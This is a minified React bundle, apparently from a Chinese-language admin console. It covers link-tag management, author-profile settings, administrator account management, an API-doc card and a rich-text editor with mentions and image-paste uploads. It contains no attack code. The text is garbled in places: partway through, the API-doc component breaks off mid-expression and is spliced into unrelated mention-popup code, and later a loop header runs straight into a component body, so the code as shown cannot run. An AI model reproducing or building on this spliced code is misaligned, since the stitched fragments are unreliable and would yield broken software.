h-8",placeholder:"https://ckbapi.quwanzhi.com",defaultValue:"https://ckbapi.quwanzhi.com",readOnly:!0})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"绑定计划"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8",placeholder:"创业实验-内容引流",defaultValue:"创业实验-内容引流",readOnly:!0})]})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["具体存客宝场景配置与接口测试请前往"," ",s.jsx("button",{className:"text-[#38bdac] hover:underline",onClick:()=>window.open("/match","_blank"),children:"找伙伴 → 存客宝工作台"})]})]})]})]}),s.jsx(en,{value:"link-tag",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Bv,{className:"w-4 h-4 text-amber-400"}),"链接标签 — 链接事与物(编辑器内 #标签 可跳转链接/小程序/存客宝)"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"小程序端点击 #标签 可直接跳转对应链接,进入流量池"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"flex gap-2 items-end flex-wrap justify-between",children:[s.jsxs("div",{className:"flex gap-2 items-end flex-wrap",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"标签ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-24",placeholder:"如 team01",value:ft.tagId,onChange:M=>xn({...ft,tagId:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"显示文字"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-28",placeholder:"如 神仙团队",value:ft.label,onChange:M=>xn({...ft,label:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"类型"}),s.jsxs(hl,{value:ft.type,onValueChange:M=>xn({...ft,type:M}),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-24",children:s.jsx(fl,{})}),s.jsxs(ro,{children:[s.jsx(_r,{value:"url",children:"网页链接"}),s.jsx(_r,{value:"miniprogram",children:"小程序"}),s.jsx(_r,{value:"ckb",children:"存客宝"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:ft.type==="url"?"URL地址":ft.type==="ckb"?"存客宝计划URL":"小程序(选密钥)"}),ft.type==="miniprogram"&&Ra.length>0?s.jsxs("div",{ref:Di,className:"relative w-44",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-44",placeholder:"搜索名称或密钥",value:Oi?ta:ft.appId,onChange:M=>{const Q=M.target.value;Ot(Q),fs(!0),Ra.some(me=>me.key===Q)||xn({...ft,appId:Q})},onFocus:()=>{Ot(ft.appId),fs(!0)},onBlur:()=>setTimeout(()=>fs(!1),150)}),Oi&&s.jsx("div",{className:"absolute top-full left-0 right-0 mt-1 max-h-48 overflow-y-auto rounded-md border border-gray-700 bg-[#0a1628] shadow-lg z-50",children:Li.length===0?s.jsx("div",{className:"px-3 py-2 text-gray-500 text-xs",children:"无匹配,可手动输入密钥"}):Li.map(M=>s.jsxs("button",{type:"button",className:"w-full px-3 py-2 text-left text-sm text-white hover:bg-[#38bdac]/20 flex flex-col gap-0.5",onMouseDown:Q=>{Q.preventDefault(),xn({...ft,appId:M.key,pagePath:M.path||""}),Ot(""),fs(!1)},children:[s.jsx("span",{children:M.name}),s.jsx("span",{className:"text-xs text-gray-400 font-mono",children:M.key})]},M.key))})]}):s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-44",placeholder:ft.type==="url"?"https://...":ft.type==="ckb"?"https://ckbapi.quwanzhi.com/...":"关联小程序的32位密钥",value:ft.type==="url"||ft.type==="ckb"?ft.url:ft.appId,onChange:M=>{ft.type==="url"||ft.type==="ckb"?xn({...ft,url:M.target.value}):xn({...ft,appId:M.target.value})}})]}),ft.type==="miniprogram"&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"页面路径"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-36",placeholder:"pages/index/index",value:ft.pagePath,onChange:M=>xn({...ft,pagePath:M.target.value})})]}),s.jsxs(te,{size:"sm",className:"bg-amber-500 hover:bg-amber-600 text-white h-8",onClick:async()=>{if(!ft.tagId||!ft.label){ie.error("标签ID和显示文字必填");return}const M={...ft};M.type==="miniprogram"&&(M.url=""),await vt("/api/db/link-tags",M),xn({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""}),Ir(null),Gr()},children:[s.jsx(hn,{className:"w-3 h-3 mr-1"}),Ur?"保存":"添加"]})]}),s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50 h-8",onClick:()=>Gr(),title:"刷新",children:s.jsx(Ke,{className:"w-4 h-4"})})]}),s.jsxs("div",{className:"space-y-1 max-h-[400px] overflow-y-auto",children:[pe.map(M=>s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded px-3 py-2",children:[s.jsxs("div",{className:"flex items-center gap-3 text-sm",children:[s.jsxs("button",{type:"button",className:"text-amber-400 font-bold text-base hover:underline",onClick:()=>{xn({tagId:M.id,label:M.label,url:M.url,type:M.type,appId:M.appId??"",pagePath:M.pagePath??""}),Ir(M.id)},children:["#",M.label]}),s.jsx(qe,{variant:"secondary",className:`text-[10px] ${M.type==="ckb"?"bg-green-500/20 text-green-300 border-green-500/30":"bg-gray-700 text-gray-300"}`,children:M.type==="url"?"网页":M.type==="ckb"?"存客宝":"小程序"}),M.type==="miniprogram"?s.jsxs("span",{className:"text-gray-400 text-xs font-mono",children:[M.appId," ",M.pagePath?`· ${M.pagePath}`:""]}):M.url?s.jsxs("a",{href:M.url,target:"_blank",rel:"noreferrer",className:"text-blue-400 text-xs truncate max-w-[250px] hover:underline flex items-center gap-1",children:[M.url," ",s.jsx(Us,{className:"w-3 h-3 shrink-0"})]}):null]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-300 hover:text-white h-6 px-2",onClick:()=>{xn({tagId:M.id,label:M.label,url:M.url,type:M.type,appId:M.appId??"",pagePath:M.pagePath??""}),Ir(M.id)},children:"编辑"}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 h-6 px-2",onClick:async()=>{await Bs(`/api/db/link-tags?tagId=${M.id}`),Ur===M.id&&(Ir(null),xn({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""})),Gr()},children:s.jsx(ir,{className:"w-3 h-3"})})]})]},M.id)),pe.length===0&&s.jsx("div",{className:"text-gray-500 text-sm py-4 text-center",children:"暂无链接标签,添加后可在编辑器中使用 #标签 跳转"})]})]})]})}),s.jsx(en,{value:"linkedmp",className:"space-y-4",children:s.jsx(rV,{})})]}),s.jsx(lV,{open:Pt,onOpenChange:On,editingPerson:Qs,onSubmit:async M=>{var Ne;const Q={personId:M.personId||M.name.toLowerCase().replace(/\s+/g,"_")+"_"+Date.now().toString(36),name:M.name,label:M.label,ckbApiKey:M.ckbApiKey||void 0,greeting:M.greeting||void 0,tips:M.tips||void 0,remarkType:M.remarkType||void 0,remarkFormat:M.remarkFormat||void 0,addFriendInterval:M.addFriendInterval,startTime:M.startTime||void 0,endTime:M.endTime||void 0,deviceGroups:(Ne=M.deviceGroups)!=null&&Ne.trim()?M.deviceGroups.split(",").map(st=>parseInt(st.trim(),10)).filter(st=>!Number.isNaN(st)):void 0},me=await vt("/api/db/persons",Q);if(me&&me.success===!1){const st=me;st.ckbResponse&&console.log("存客宝返回",st.ckbResponse);const mt=st.error||"操作失败";throw new Error(mt)}if(qr(),ie.success(Qs?"已保存":"已添加"),me!=null&&me.ckbCreateResult&&Object.keys(me.ckbCreateResult).length>0){const st=me.ckbCreateResult;console.log("存客宝创建结果",st);const mt=st.planId??st.id,Bt=mt!=null?[`planId: ${mt}`]:[];st.apiKey!=null&&Bt.push("apiKey: ***"),ie.info(Bt.length?`存客宝创建结果:${Bt.join(",")}`:"存客宝创建结果见控制台")}}}),s.jsx(Dt,{open:!!Wn,onOpenChange:M=>{M||Zs(null)},children:s.jsxs(At,{showCloseButton:!0,className:"bg-[#0f2137] border-gray-700 text-white max-w-md p-4 gap-3",children:[s.jsxs(Lt,{className:"gap-1",children:[s.jsx(_t,{className:"text-white text-base",children:"确认删除"}),s.jsx(yf,{className:"text-gray-400 text-sm leading-relaxed break-words",children:Wn&&s.jsxs(s.Fragment,{children:[s.jsxs("p",{children:["确定删除「SOUL链接人与事-",Wn.name,"」?将同时删除存客宝对应获客计划。"]}),s.jsxs("p",{className:"mt-1.5",children:["二次确认:删除后无法恢复,文章中的 @",Wn.name," 将无法正常跳转。"]})]})})]}),s.jsxs(on,{className:"gap-2 sm:gap-2 pt-1",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-300",onClick:()=>Zs(null),children:"取消"}),s.jsx(te,{variant:"destructive",size:"sm",className:"bg-red-600 hover:bg-red-700",onClick:async()=>{Wn&&(await Bs(`/api/db/persons?personId=${Wn.personId}`),Zs(null),qr(),ie.success("已删除"))},children:"确定删除"})]})]})})]})}const ba={name:"卡若",avatar:"K",avatarImg:"",title:"Soul派对房主理人 · 私域运营专家",bio:'每天早上6点到9点,在Soul派对房分享真实的创业故事。专注私域运营与项目变现,用"云阿米巴"模式帮助创业者构建可持续的商业体系。',stats:[{label:"商业案例",value:"62"},{label:"连续直播",value:"365天"},{label:"派对分享",value:"1000+"}],highlights:["5年私域运营经验","帮助100+品牌从0到1增长","连续创业者,擅长商业模式设计"]};function vw(t){return Array.isArray(t)?t.map(e=>e&&typeof e=="object"&&"label"in e&&"value"in e?{label:String(e.label),value:String(e.value)}:{label:"",value:""}).filter(e=>e.label||e.value):ba.stats}function Nw(t){return Array.isArray(t)?t.map(e=>typeof e=="string"?e:String(e??"")).filter(Boolean):ba.highlights}function uV(){const[t,e]=b.useState(ba),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(!1),u=b.useRef(null);b.useEffect(()=>{De("/api/admin/author-settings").then(k=>{const C=k==null?void 0:k.data;C&&typeof C=="object"&&e({name:String(C.name??ba.name),avatar:String(C.avatar??ba.avatar),avatarImg:String(C.avatarImg??""),title:String(C.title??ba.title),bio:String(C.bio??ba.bio),stats:vw(C.stats).length?vw(C.stats):ba.stats,highlights:Nw(C.highlights).length?Nw(C.highlights):ba.highlights})}).catch(console.error).finally(()=>r(!1))},[]);const h=async()=>{i(!0);try{const k={name:t.name,avatar:t.avatar||"K",avatarImg:t.avatarImg,title:t.title,bio:t.bio,stats:t.stats.filter(T=>T.label||T.value),highlights:t.highlights.filter(Boolean)},C=await vt("/api/admin/author-settings",k);if(!C||C.success===!1){ie.error("保存失败: "+(C&&typeof C=="object"&&"error"in C?C.error:""));return}i(!1);const E=document.createElement("div");E.className="fixed top-4 right-4 z-50 px-4 py-2 rounded-lg bg-[#38bdac] text-white text-sm shadow-lg",E.textContent="作者设置已保存",document.body.appendChild(E),setTimeout(()=>E.remove(),2e3)}catch(k){console.error(k),ie.error("保存失败: "+(k instanceof Error?k.message:String(k)))}finally{i(!1)}},f=async k=>{var E;const C=(E=k.target.files)==null?void 0:E[0];if(C){c(!0);try{const T=new FormData;T.append("file",C),T.append("folder","avatars");const I=pf(),O={};I&&(O.Authorization=`Bearer ${I}`);const R=await(await fetch(go("/api/upload"),{method:"POST",body:T,credentials:"include",headers:O})).json();R!=null&&R.success&&(R!=null&&R.url)?e(D=>({...D,avatarImg:R.url})):ie.error("上传失败: "+((R==null?void 0:R.error)||"未知错误"))}catch(T){console.error(T),ie.error("上传失败")}finally{c(!1),u.current&&(u.current.value="")}}},m=()=>e(k=>({...k,stats:[...k.stats,{label:"",value:""}]})),g=k=>e(C=>({...C,stats:C.stats.filter((E,T)=>T!==k)})),y=(k,C,E)=>e(T=>({...T,stats:T.stats.map((I,O)=>O===k?{...I,[C]:E}:I)})),N=()=>e(k=>({...k,highlights:[...k.highlights,""]})),w=k=>e(C=>({...C,highlights:C.highlights.filter((E,T)=>T!==k)})),v=(k,C)=>e(E=>({...E,highlights:E.highlights.map((T,I)=>I===k?C:T)}));return n?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(co,{className:"w-5 h-5 text-[#38bdac]"}),"作者详情"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置小程序「关于作者」页展示的作者信息,包括头像、简介、统计数据与亮点标签。"})]}),s.jsxs(te,{onClick:h,disabled:a||n,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":"保存"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(co,{className:"w-4 h-4 text-[#38bdac]"}),"基本信息"]}),s.jsx(It,{className:"text-gray-400",children:"作者姓名、头像、头衔与个人简介,将展示在「关于作者」页顶部。"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"姓名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:t.name,onChange:k=>e(C=>({...C,name:k.target.value})),placeholder:"卡若"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首字母占位(无头像时显示)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white w-20",value:t.avatar,onChange:k=>e(C=>({...C,avatar:k.target.value.slice(0,1)||"K"})),placeholder:"K"})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zw,{className:"w-3 h-3 text-[#38bdac]"}),"头像图片"]}),s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:t.avatarImg,onChange:k=>e(C=>({...C,avatarImg:k.target.value})),placeholder:"上传或粘贴 URL,如 /uploads/avatars/xxx.png"}),s.jsx("input",{ref:u,type:"file",accept:"image/*",className:"hidden",onChange:f}),s.jsxs(te,{type:"button",variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 shrink-0",disabled:o,onClick:()=>{var k;return(k=u.current)==null?void 0:k.click()},children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),o?"上传中...":"上传"]})]}),t.avatarImg&&s.jsx("div",{className:"mt-2",children:s.jsx("img",{src:t.avatarImg.startsWith("http")?t.avatarImg:go(t.avatarImg),alt:"头像预览",className:"w-20 h-20 rounded-full object-cover border border-gray-600"})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"头衔"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:t.title,onChange:k=>e(C=>({...C,title:k.target.value})),placeholder:"Soul派对房主理人 · 私域运营专家"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"个人简介"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[120px]",value:t.bio,onChange:k=>e(C=>({...C,bio:k.target.value})),placeholder:"每天早上6点到9点..."})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsx(Qe,{className:"text-white",children:"统计数据"}),s.jsx(It,{className:"text-gray-400",children:"展示在作者卡片中的数字指标,如「商业案例 62」「连续直播 365天」。第一个「商业案例」的值可由书籍统计自动更新。"})]}),s.jsxs(Ee,{className:"space-y-3",children:[t.stats.map((k,C)=>s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k.label,onChange:E=>y(C,"label",E.target.value),placeholder:"标签"}),s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k.value,onChange:E=>y(C,"value",E.target.value),placeholder:"数值"}),s.jsx(te,{variant:"ghost",size:"icon",className:"text-gray-400 hover:text-red-400",onClick:()=>g(C),children:s.jsx(ir,{className:"w-4 h-4"})})]},C)),s.jsxs(te,{variant:"outline",size:"sm",onClick:m,className:"border-gray-600 text-gray-400",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加统计项"]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsx(Qe,{className:"text-white",children:"亮点标签"}),s.jsx(It,{className:"text-gray-400",children:"作者优势或成就的简短描述,以标签形式展示。"})]}),s.jsxs(Ee,{className:"space-y-3",children:[t.highlights.map((k,C)=>s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k,onChange:E=>v(C,E.target.value),placeholder:"5年私域运营经验"}),s.jsx(te,{variant:"ghost",size:"icon",className:"text-gray-400 hover:text-red-400",onClick:()=>w(C),children:s.jsx(ir,{className:"w-4 h-4"})})]},C)),s.jsxs(te,{variant:"outline",size:"sm",onClick:N,className:"border-gray-600 text-gray-400",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加亮点"]})]})]})]})]})}function hV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o]=b.useState(10),[c,u]=b.useState(0),[h,f]=b.useState(""),m=r0(h,300),[g,y]=b.useState(!0),[N,w]=b.useState(null),[v,k]=b.useState(!1),[C,E]=b.useState(null),[T,I]=b.useState(""),[O,L]=b.useState(""),[R,D]=b.useState(""),[_,Z]=b.useState("admin"),[ne,fe]=b.useState("active"),[xe,$]=b.useState(!1);async function H(){var U;y(!0),w(null);try{const le=new URLSearchParams({page:String(a),pageSize:String(o)});m.trim()&&le.set("search",m.trim());const J=await De(`/api/admin/users?${le}`);J!=null&&J.success?(e(J.records||[]),r(J.total??0),u(J.totalPages??0)):w(J.error||"加载失败")}catch(le){const J=le;w(J.status===403?"无权限访问":((U=J==null?void 0:J.data)==null?void 0:U.error)||"加载失败"),e([])}finally{y(!1)}}b.useEffect(()=>{H()},[a,o,m]);const oe=()=>{E(null),I(""),L(""),D(""),Z("admin"),fe("active"),k(!0)},P=U=>{E(U),I(U.username),L(""),D(U.name||""),Z(U.role==="super_admin"?"super_admin":"admin"),fe(U.status==="disabled"?"disabled":"active"),k(!0)},K=async()=>{var U;if(!T.trim()){w("用户名不能为空");return}if(!C&&!O){w("新建时密码必填,至少 6 位");return}if(O&&O.length<6){w("密码至少 6 位");return}w(null),$(!0);try{if(C){const le=await zt("/api/admin/users",{id:C.id,password:O||void 0,name:R.trim(),role:_,status:ne});le!=null&&le.success?(k(!1),H()):w((le==null?void 0:le.error)||"保存失败")}else{const le=await vt("/api/admin/users",{username:T.trim(),password:O,name:R.trim(),role:_});le!=null&&le.success?(k(!1),H()):w((le==null?void 0:le.error)||"保存失败")}}catch(le){const J=le;w(((U=J==null?void 0:J.data)==null?void 0:U.error)||"保存失败")}finally{$(!1)}},V=async U=>{var le;if(confirm("确定删除该管理员?"))try{const J=await Bs(`/api/admin/users?id=${U}`);J!=null&&J.success?H():w((J==null?void 0:J.error)||"删除失败")}catch(J){const Y=J;w(((le=Y==null?void 0:Y.data)==null?void 0:le.error)||"删除失败")}},z=U=>{if(!U)return"-";try{const le=new Date(U);return isNaN(le.getTime())?U:le.toLocaleString("zh-CN")}catch{return U}};return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-6",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(_c,{className:"w-5 h-5 text-[#38bdac]"}),"管理员用户"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"后台登录账号管理,仅超级管理员可操作"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{placeholder:"搜索用户名/昵称",value:h,onChange:U=>f(U.target.value),className:"w-48 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500"}),s.jsx(te,{variant:"outline",size:"sm",onClick:H,disabled:g,className:"border-gray-600 text-gray-300",children:s.jsx(Ke,{className:`w-4 h-4 ${g?"animate-spin":""}`})}),s.jsxs(te,{onClick:oe,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新增管理员"]})]})]}),N&&s.jsxs("div",{className:"mb-4 p-3 rounded-lg bg-red-500/10 border border-red-500/20 text-red-400 text-sm flex justify-between items-center",children:[s.jsx("span",{children:N}),s.jsx("button",{type:"button",onClick:()=>w(null),className:"text-red-400 hover:text-red-300",children:"×"})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:g?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户名"}),s.jsx(ke,{className:"text-gray-400",children:"昵称"}),s.jsx(ke,{className:"text-gray-400",children:"角色"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(U=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:U.id}),s.jsx(ve,{className:"text-white font-medium",children:U.username}),s.jsx(ve,{className:"text-gray-400",children:U.name||"-"}),s.jsx(ve,{children:s.jsx(qe,{variant:"outline",className:U.role==="super_admin"?"border-amber-500/50 text-amber-400":"border-gray-600 text-gray-400",children:U.role==="super_admin"?"超级管理员":"管理员"})}),s.jsx(ve,{children:s.jsx(qe,{variant:"outline",className:U.status==="active"?"border-[#38bdac]/50 text-[#38bdac]":"border-gray-500 text-gray-500",children:U.status==="active"?"正常":"已禁用"})}),s.jsx(ve,{className:"text-gray-500 text-sm",children:z(U.createdAt)}),s.jsxs(ve,{className:"text-right",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>P(U),className:"text-gray-400 hover:text-[#38bdac]",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>V(U.id),className:"text-gray-400 hover:text-red-400",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]},U.id)),t.length===0&&!g&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:N==="无权限访问"?"仅超级管理员可查看":"暂无管理员"})})]})]}),c>1&&s.jsx("div",{className:"p-4 border-t border-gray-700/50",children:s.jsx(is,{page:a,pageSize:o,total:n,totalPages:c,onPageChange:i})})]})})}),s.jsx(Dt,{open:v,onOpenChange:k,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-sm",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:C?"编辑管理员":"新增管理员"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"用户名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"登录用户名",value:T,onChange:U=>I(U.target.value),disabled:!!C}),C&&s.jsx("p",{className:"text-xs text-gray-500",children:"用户名不可修改"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:C?"新密码(留空不改)":"密码"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:C?"留空表示不修改":"至少 6 位",value:O,onChange:U=>L(U.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"显示名称",value:R,onChange:U=>D(U.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"角色"}),s.jsxs("select",{value:_,onChange:U=>Z(U.target.value),className:"w-full h-10 px-3 rounded-md bg-[#0a1628] border border-gray-700 text-white",children:[s.jsx("option",{value:"admin",children:"管理员"}),s.jsx("option",{value:"super_admin",children:"超级管理员"})]})]}),C&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"状态"}),s.jsxs("select",{value:ne,onChange:U=>fe(U.target.value),className:"w-full h-10 px-3 rounded-md bg-[#0a1628] border border-gray-700 text-white",children:[s.jsx("option",{value:"active",children:"正常"}),s.jsx("option",{value:"disabled",children:"禁用"})]})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>k(!1),className:"border-gray-600 text-gray-300",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:K,disabled:xe,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),xe?"保存中...":"保存"]})]})]})})]})}function jn({method:t,url:e,desc:n,headers:r,body:a,response:i}){const o=t==="GET"?"text-emerald-400":t==="POST"?"text-amber-400":t==="PUT"?"text-blue-400":t==="DELETE"?"text-rose-400":"text-gray-400";return s.jsxs("div",{className:"rounded-lg bg-[#0a1628]/60 border border-gray-700/50 p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap",children:[s.jsx("span",{className:`font-mono font-semibold ${o}`,children:t}),s.jsx("code",{className:"text-sm text-[#38bdac] break-all",children:e})]}),n&&s.jsx("p",{className:"text-gray-400 text-sm",children:n}),r&&r.length>0&&s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"Headers"}),s.jsx("pre",{className:"text-xs text-gray-300 font-mono overflow-x-auto p-2 rounded bg-black/30",children:r.join(` + `).join(""),e.querySelectorAll(".mention-item").forEach(o=>{o.addEventListener("click",()=>{const c=parseInt(o.getAttribute("data-index")||"0");a&&r[c]&&a({id:r[c].id,label:r[c].name})})}))};return{onStart:o=>{if(e=document.createElement("div"),e.className="mention-popup",document.body.appendChild(e),r=o.items,a=o.command,n=0,i(),o.clientRect){const c=o.clientRect();c&&(e.style.top=`${c.bottom+4}px`,e.style.left=`${c.left}px`)}},onUpdate:o=>{if(r=o.items,a=o.command,n=0,i(),o.clientRect&&e){const c=o.clientRect();c&&(e.style.top=`${c.bottom+4}px`,e.style.left=`${c.left}px`)}},onKeyDown:o=>o.event.key==="ArrowUp"?(n=Math.max(0,n-1),i(),!0):o.event.key==="ArrowDown"?(n=Math.min(r.length-1,n+1),i(),!0):o.event.key==="Enter"?(a&&r[n]&&a({id:r[n].id,label:r[n].name}),!0):o.event.key==="Escape"?(e==null||e.remove(),e=null,!0):!1,onExit:()=>{e==null||e.remove(),e=null}}}});function Y$(t){var r;const e=[],n=(r=t.clipboardData)==null?void 0:r.items;if(!n)return e;for(let a=0;a{const u=b.useRef(null),h=b.useRef(null),[f,m]=b.useState(""),[g,y]=b.useState(!1),N=b.useRef(iw(t)),w=b.useCallback((T,I)=>{var D;const O=h.current;if(!O||!n)return!1;const L=Y$(I);if(L.length>0)return I.preventDefault(),(async()=>{for(const z of L)try{const Z=await n(z);Z&&O.chain().focus().setImage({src:Z}).run()}catch(Z){console.error("粘贴图片上传失败",Z)}})(),!0;const R=(D=I.clipboardData)==null?void 0:D.getData("text/html");if(R&&/data:image\/[^;"']+;base64,/i.test(R)){I.preventDefault();const{from:z,to:Z}=O.state.selection;return(async()=>{try{const ne=await Z$(R,n);O.chain().focus().insertContentAt({from:z,to:Z},ne).run()}catch(ne){console.error("粘贴 HTML 内 base64 转换失败",ne)}})(),!0}return!1},[n]),v=H_({extensions:[Az.configure({link:{openOnClick:!1,HTMLAttributes:{class:"rich-link"}}}),Pz.configure({inline:!0,allowBase64:!0}),$z.configure({HTMLAttributes:{class:"mention-tag"},suggestion:J$(r)}),G$,Fz.configure({placeholder:i}),FC.configure({resizable:!0}),$C,_C,zC],content:N.current,onUpdate:({editor:T})=>{e(T.getHTML())},editorProps:{attributes:{class:"rich-editor-content"},handlePaste:w}});b.useEffect(()=>{h.current=v??null},[v]),b.useImperativeHandle(c,()=>({getHTML:()=>(v==null?void 0:v.getHTML())||"",getMarkdown:()=>q$((v==null?void 0:v.getHTML())||"")})),b.useEffect(()=>{if(v&&t!==v.getHTML()){const T=iw(t);T!==v.getHTML()&&v.commands.setContent(T)}},[t]);const k=b.useCallback(async T=>{var O;const I=(O=T.target.files)==null?void 0:O[0];if(!(!I||!v)){if(n){const L=await n(I);L&&v.chain().focus().setImage({src:L}).run()}else{const L=new FileReader;L.onload=()=>{typeof 